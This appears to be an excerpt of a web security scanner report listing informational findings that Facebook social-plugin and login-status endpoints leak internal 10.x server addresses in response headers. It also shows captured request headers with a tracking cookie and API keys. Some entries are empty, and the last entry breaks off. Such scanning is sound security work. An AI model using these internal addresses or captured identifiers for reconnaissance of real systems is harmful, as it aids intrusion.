24.35. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.108.51

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df11d25caa8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3a5c1a74c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1b7cf5dd8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3a5c1a74c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3e3bf9444%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df36d67fc8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3a5c1a74c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3e3bf9444&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3eeabe24%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3a5c1a74c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3e3bf9444&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df381d52ca%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3a5c1a74c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3e3bf9444&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f3eeabe24&origin=http%3A%2F%2Fonline.wsj.com%2Ff3a5c1a74c&relation=parent&transport=postmessage&frame=f3e3bf9444
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.108.51
X-Cnection: close
Date: Sat, 14 May 2011 10:27:16 GMT
Content-Length: 0

24.36. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.175.120

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df23986066c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df27a239fdc%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df26ee7205%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df14eee43b%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df26ee7205&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df37e2e54d4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df26ee7205&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3cf991f4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df26ee7205&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f37e2e54d4&origin=http%3A%2F%2Fwww.marketwatch.com%2Ff2cb26fd4c&relation=parent&transport=postmessage&frame=f26ee7205
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.175.120
X-Cnection: close
Date: Sat, 14 May 2011 10:14:51 GMT
Content-Length: 0

24.37. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.71.83

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df32318e28%26origin%3Dhttp%253A%252F%252Ftopics.wsj.com%252Ff5af05c48%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3e66c55a%26origin%3Dhttp%253A%252F%252Ftopics.wsj.com%252Ff5af05c48%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df8e7f679c%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df642a9fd4%26origin%3Dhttp%253A%252F%252Ftopics.wsj.com%252Ff5af05c48%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df8e7f679c&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3e4cb4e58%26origin%3Dhttp%253A%252F%252Ftopics.wsj.com%252Ff5af05c48%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df8e7f679c&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df18e87d2a8%26origin%3Dhttp%253A%252F%252Ftopics.wsj.com%252Ff5af05c48%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df8e7f679c&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f3e4cb4e58&origin=http%3A%2F%2Ftopics.wsj.com%2Ff5af05c48&relation=parent&transport=postmessage&frame=f8e7f679c
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.53.71.83
X-Cnection: close
Date: Sat, 14 May 2011 10:12:34 GMT
Content-Length: 0

24.38. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.227.61

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.39. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.122.69

Request

Response

24.40. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.77.55

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.41. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.220.101

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.42. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.117.47

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.43. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.123.81

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfff88a7bc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748704681904576319301584731990.html%3Fmod%3DWSJ_newsreel_personalFinance&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.44. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.175.125

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2b2f53a2c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff34cdec228%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.45. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.111.21

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df30e519a2c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff132faa68%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576317293981683266.html&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.46. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.40.83

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df98b64dd4%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576321552255041680.html%3Fmod%3DWSJ_hp_LEFTTopStories&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.47. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.55.83

Request

Response

24.48. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.68.85

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2a4247d4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffff1ed894%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.49. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.193.29

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2bd9f58ec%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff383138bac%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576314083707711492--LESS.html&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.50. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.220.127

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df102c7b8ec%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Fstock%2FAIG&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.51. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.63.95

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df31a49837%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2f339beb8%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.52. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.215.27

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2fd6d9918%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Ftopics.wsj.com%2Fperson%2FS%2Flaura-saunders%2F6491&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.53. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.219.132

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3113c821%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff34cdec228%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Findex%2FDXY&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.54. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.166.123

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df344592c4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Fcitigroups-new-look-is-plainly-cosmetic-2011-05-13&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.55. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.190.132

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df36ea2269c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff20f8a9138%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576313682030967852.html&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450 HTTP/1.1
Host: www.facebook.com
